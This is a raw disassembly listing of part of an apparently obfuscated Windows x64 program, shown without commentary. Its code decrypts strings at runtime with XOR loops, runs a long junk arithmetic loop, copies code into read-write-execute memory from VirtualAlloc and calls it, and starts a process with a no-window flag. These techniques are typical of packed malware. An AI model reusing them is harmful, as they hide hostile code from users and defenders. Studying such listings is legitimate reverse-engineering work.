movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm10
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x20
jl 0x140232a90
cmp r9d, 0x23
jge 0x140232c6c
movsxd rax, r9d
lea r10, [rsp + 0x5e8]
add r10, rax
nop dword [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x20
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x23
jl 0x140232c20
movsd xmm0, qword [str._606_pcaP]
movzx eax, byte [0x14027cf88]
movsd qword [rsp + 0x140], xmm0
mov byte [rsp + 0x140], 0x68
xor byte [rsp + 0x141], 0x42
xor byte [rsp + 0x142], 0x44
xor byte [rsp + 0x143], 0x46
xor byte [rsp + 0x144], 0x48
xor byte [rsp + 0x145], 0x4a
xor byte [rsp + 0x146], 0x4c
xor byte [rsp + 0x147], 0x4e
xor al, 0x50
mov byte [rsp + 0x148], al
lea r8, [0x140294508]
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0xcb0]
call fcn.14024a8e0
nop
lea r8, [rsp + 0x5e8]
mov rdx, rax
lea rcx, [rsp + 0xc90]
call fcn.140249bc0
nop
mov rdx, rax
lea rcx, [rsp + 0xc50]
call fcn.14020a930
nop
mov rdx, rax
lea rcx, [rsp + 0xfe8]
call fcn.1401fb070
nop
lea rcx, [rsp + 0xc50]
call fcn.140248aa0
nop
lea rcx, [rsp + 0xc90]
call fcn.140248aa0
nop
lea rcx, [rsp + 0xcb0]
call fcn.140248aa0
lea rcx, [rsp + 0x11a0]
call fcn.140201c40
movups xmm0, xmmword [0x14027d818]
movups xmmword [rsp + 0x5c0], xmm0
movups xmm1, xmmword [0x14027d828]
movups xmmword [rsp + 0x5d0], xmm1
movzx eax, word [0x14027d838]
mov word [rsp + 0x5e0], ax
movzx eax, byte [0x14027d83a]
mov byte [rsp + 0x5e2], al
mov r9d, esi
cmp r12d, 2
jl 0x140232f3d
movdqa xmmword [rsp + 0xd30], xmm6
lea rcx, [rsp + 0x5c4]
mov edx, dword [rsp + 0xd30]
nop dword [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm10
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm10
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x20
jl 0x140232dc0
cmp r9d, 0x23
jge 0x140232f9c
movsxd rax, r9d
lea r10, [rsp + 0x5c0]
add r10, rax
nop dword [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x20
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x23
jl 0x140232f50
mov r8d, 0x20
lea rdx, [rsp + 0x5c0]
lea rcx, [rsp + 0x11a0]
call fcn.140243e30
nop
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rsp + 0x4e70]
call fcn.140246530
mov dword [rsp + 0xdf0], 0xffffff9c
mov dword [rsp + 0xdf4], 0x64
mov dword [rsp + 0x70], esi
lea rcx, [rsp + 0x180]
call fcn.1401f2240
mov qword [rsp + 0x4f8], 0x64
lea r8, [rsp + 0x4f8]
lea rdx, [rsp + 0x180]
lea rcx, [rsp + 0xd30]
call fcn.140249cc0
lea rcx, [rsp + 0x500]
call fcn.1401f2240
mov rcx, rax
lea rdx, [rsp + 0xd30]
call fcn.1401f2560
test al, al
jns 0x14023311b
mov r12d, 0x186a0
nop dword [rax + rax]
lea rdx, [rsp + 0x4e70]
lea rcx, [rsp + 0xdf0]
call fcn.140249ce0
mov ebx, eax
test eax, eax
mov eax, 1
cmove ebx, eax
lea rdx, [rsp + 0x4e70]
lea rcx, [rsp + 0xdf0]
call fcn.140249ce0
mov ecx, dword [rsp + 0x70]
add eax, ecx
mov dword [rsp + 0x70], eax
lea rdx, [rsp + 0x4e70]
lea rcx, [rsp + 0xdf0]
call fcn.140249ce0
mov ecx, dword [rsp + 0x70]
imul eax, ecx
mov dword [rsp + 0x70], eax
lea rdx, [rsp + 0x4e70]
lea rcx, [rsp + 0xdf0]
call fcn.140249ce0
mov ecx, dword [rsp + 0x70]
sub ecx, eax
mov dword [rsp + 0x70], ecx
mov eax, dword [rsp + 0x70]
cdq
idiv ebx
mov dword [rsp + 0x70], eax
mov eax, dword [rsp + 0x70]
cdq
idiv ebx
mov dword [rsp + 0x70], edx
sub r12, 1
jne 0x140233050
lea rcx, [rsp + 0x500]
call fcn.1401f2240
mov rcx, rax
lea rdx, [rsp + 0xd30]
call fcn.1401f2560
test al, al
js 0x140233042
mov r12d, dword [0x140291090]
mov eax, dword [rsp + 0x70]
mov r8, qword [rsp + 0xff0]
mov rdx, qword [rsp + 0xfe8]
sub r8, rdx
lea rcx, [rsp + 0x11a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rsp + 0x11a0]
call fcn.140243df0
nop
lea rcx, [rsp + 0x11a0]
call fcn.140201bd0
nop
lea rcx, [rsp + 0xfe8]
call fcn.140246370
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xd00], xmm0
mov qword [rsp + 0xd10], rax
xorps xmm1, xmm1
movups xmmword [rsp + 0x10c4], xmm1
movups xmmword [rsp + 0x10d4], xmm1
movups xmmword [rsp + 0x10e4], xmm1
movups xmmword [rsp + 0x10f4], xmm1
movups xmmword [rsp + 0x1104], xmm1
movups xmmword [rsp + 0x1114], xmm1
mov dword [rsp + 0x1124], eax
mov dword [rsp + 0x10c0], 0x68
lea rax, [rsp + 0xe50]
cmp qword [rsp + 0xe68], 0xf
cmova rax, qword [rsp + 0xe50]
mov qword [rsp + 0x508], rax
movups xmmword [rsp + 0xd50], xmm0
lea rcx, [rsp + 0x62c8]
mov qword [rsp + 0xd58], r13
mov qword [rsp + 0xd60], rcx
mov rax, qword [rcx]
xor rax, r13
mov qword [rsp + 0xd30], rax
mov qword [rsp + 0xd50], rax
mov qword [rcx], rsi
mov ecx, esi
mov rax, qword [0x140293da0]
lea rbx, [0x14024a750]
test rax, rax
je 0x14023325f
mov rdx, rsi
cmp rax, rbx
je 0x14023324e
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x293da0]
test rax, rax
jne 0x140233236
jmp 0x14023325f
mov r8, qword [r14 + rdx*8 + 0x297a60]
test r8, r8
jne 0x14023334f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140233288
mov r8, rsi
jmp 0x14023332e
mov rax, rbx
mov rcx, r8
mov edx, 3
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1402332a0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402983c0]
mov qword [r14 + rax*8 + 0x293da0], rbx
mov qword [r14 + rax*8 + 0x297a60], r8
inc rax
mov qword [0x1402983c0], rax
lea rdx, [rsp + 0x508]
mov rcx, rdi
call r8
nop
mov rax, qword [rsp + 0xd30]
xor rax, r13
lea rcx, [rsp + 0x62c8]
mov qword [rcx], rax
movups xmm0, xmmword [0x14027db78]
movups xmmword [rsp + 0x610], xmm0
movups xmm1, xmmword [0x14027db88]
movups xmmword [rsp + 0x620], xmm1
mov eax, dword [0x14027db98]
mov dword [rsp + 0x630], eax
mov r9d, esi
movdqa xmm6, xmmword [rsp + 0xd70]
cmp r12d, 2
jl 0x14023354d
movdqa xmmword [rsp + 0xd30], xmm6
lea rcx, [rsp + 0x614]
mov edx, dword [rsp + 0xd30]
nop dword [rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm10
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm10
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x20
jl 0x1402333d0
cmp r9d, 0x24
jge 0x1402335ac
movsxd rax, r9d
lea r10, [rsp + 0x610]
add r10, rax
nop dword [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x20
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x24
jl 0x140233560
lea rax, [rsp + 0x610]
mov rcx, 0xffffffffffffffff
nop dword [rax + rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x1402335c0
mov rdx, qword [rsp + 0xe60]
movabs rax, 0x7fffffffffffffff
sub rax, rdx
cmp rax, rcx
jb 0x14023bdc1
lea rax, [rsp + 0xe50]
cmp qword [rsp + 0xe68], 0xf
cmova rax, qword [rsp + 0xe50]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x610]
lea rcx, [rsp + 0xab0]
call fcn.14024dd60
nop
lea rdx, [rsp + 0xab0]
lea rcx, [rsp + 0x1060]
call fcn.1401f9cc0
nop
lea rcx, [rsp + 0xab0]
call fcn.140248aa0
lea rdx, [rsp + 0x1060]
cmp qword [rsp + 0x1078], 7
cmova rdx, qword [rsp + 0x1060]
lea rax, [rsp + 0xd00]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x10c0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov r8d, esi
test eax, eax
je 0x1402339d5
mov ebx, dword [rsp + 0xd10]
mov dword [rsp + 0x70], ebx
mov r10, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movsd xmm0, qword [0x14027ccc0]
movsd qword [rsp + 0x238], xmm0
mov ecx, dword [0x14027ccc8]
mov dword [rsp + 0x240], ecx
movzx eax, byte [0x14027cccc]
mov byte [rsp + 0x244], al
cmp r12d, 2
jl 0x140233917
movdqa xmm3, xmm9
punpckldq xmm3, xmm9
movdqa xmm1, xmm9
punpckhdq xmm1, xmm9
movdqa xmm2, xmm3
pmuldq xmm2, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 5
pmuldq xmm3, xmm8
pmuldq xmm1, xmm8
shufps xmm3, xmm1, 0xdd
psrad xmm3, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm13
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm14
movdqa xmm1, xmm9
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd eax, xmm6
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x14027ccc0]
xorps xmm2, xmm0
movd dword [rsp + 0x238], xmm2
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
movdqa xmm1, xmm11
punpckhdq xmm1, xmm11
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x23c]
xorps xmm2, xmm1
movd dword [rsp + 0x23c], xmm2
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
movdqa xmm1, xmm12
punpckhdq xmm1, xmm12
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rsp + 0x240], xmm2
mov r8d, 0xc
mov eax, r8d
lea r9, [rsp + 0x238]
add r9, rax
nop word [rax + rax]
mov eax, 0x22b63cbf
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
mov eax, 0xb2b78c13
imul r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x35
sub dl, cl
add dl, 0x20
add dl, r8b
add dl, dl
xor byte [r9], dl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140233930
lea rdx, [rsp + 0x238]
mov rcx, r10
call fcn.14024a3c0
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x14024a5a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov byte [0x1402940d1], 1
mov rcx, qword [rsp + 0xd00]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0xd08]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movdqa xmm6, xmmword [str.________]
jmp 0x140233c79
mov r10, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
movups xmm0, xmmword [0x14027d1f0]
movups xmmword [rsp + 0x950], xmm0
movups xmm1, xmmword [0x14027d200]
movups xmmword [rsp + 0x960], xmm1
movups xmm0, xmmword [0x14027d210]
movups xmmword [rsp + 0x970], xmm0
movups xmm1, xmmword [0x14027d220]
movups xmmword [rsp + 0x980], xmm1
mov eax, dword [0x14027d230]
mov dword [rsp + 0x990], eax
movdqa xmm6, xmmword [str.________]
cmp r12d, 2
jl 0x140233bd9
mov r8d, esi
lea rcx, [rsp + 0x950]
nop dword [rax]
nop word [rax + rax]
movd xmm5, r8d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm14
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm6
paddw xmm3, xmm0
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm14
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm6
paddw xmm3, xmm0
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x20
jl 0x140233a50
cmp r8d, 0x22
jge 0x140233c3f
movsxd rax, r8d
lea r9, [rsp + 0x950]
lea r9, [r9 + rax*2]
nop dword [rax + rax]
mov eax, 0x22b63cbf
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x3b
mov eax, 0xb2b78c13
imul r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul edx, eax, 0x35
sub dx, cx
add dx, 0x20
add dx, r8w
add dx, dx
xor word [r9], dx
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x22
jl 0x140233bf0
lea rdx, [rsp + 0x950]
mov rcx, r10
call fcn.14024a1a0
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
lea rdx, [0x14024a380]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov ebx, esi
mov dword [rsp + 0x70], ebx
movsd xmm0, qword [str._b_jvgP]
movzx eax, byte [0x14027cc88]
movsd qword [rsp + 0x130], xmm0
mov byte [rsp + 0x130], 0x48
xor byte [rsp + 0x131], 0x42
xor byte [rsp + 0x132], 0x44
xor byte [rsp + 0x133], 0x46
xor byte [rsp + 0x134], 0x48
xor byte [rsp + 0x135], 0x4a
xor byte [rsp + 0x136], 0x4c
xor byte [rsp + 0x137], 0x4e
xor al, 0x50
mov byte [rsp + 0x138], al
lea rax, [rsp + 0x130]
mov qword [rsp + 0x510], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xd50], xmm0
lea rcx, [rsp + 0x62c8]
mov qword [rsp + 0xd58], r13
mov qword [rsp + 0xd60], rcx
mov rax, qword [rcx]
xor rax, r13
mov qword [rsp + 0xd30], rax
mov qword [rsp + 0xd50], rax
mov qword [rcx], rsi
mov ecx, esi
mov dword [rsp + 0x188], ebx
mov rax, qword [0x140295aa0]
test rax, rax
je 0x140233d7b
mov rdx, rsi
mov dword [rsp + 0x70], ebx
mov dword [rsp + 0x188], ebx
lea rbx, [0x14024a750]
cmp rax, rbx
je 0x140233d68
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x295aa0]
test rax, rax
jne 0x140233d50
jmp 0x140233d82
mov r8, qword [r14 + rdx*8 + 0x294790]
test r8, r8
jne 0x140233e6f
jmp 0x140233d82
lea rbx, [0x14024a750]
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140233dab
mov r8, rsi
jmp 0x140233e4e
mov rax, rbx
mov rcx, r8
mov edx, 3
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140233dc0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140294de8]
mov qword [r14 + rax*8 + 0x295aa0], rbx
mov qword [r14 + rax*8 + 0x294790], r8
inc rax
mov qword [0x140294de8], rax
lea rdx, [rsp + 0x510]
mov rcx, rdi
call r8
nop
mov rax, qword [rsp + 0xd30]
xor rax, r13
lea rcx, [rsp + 0x62c8]
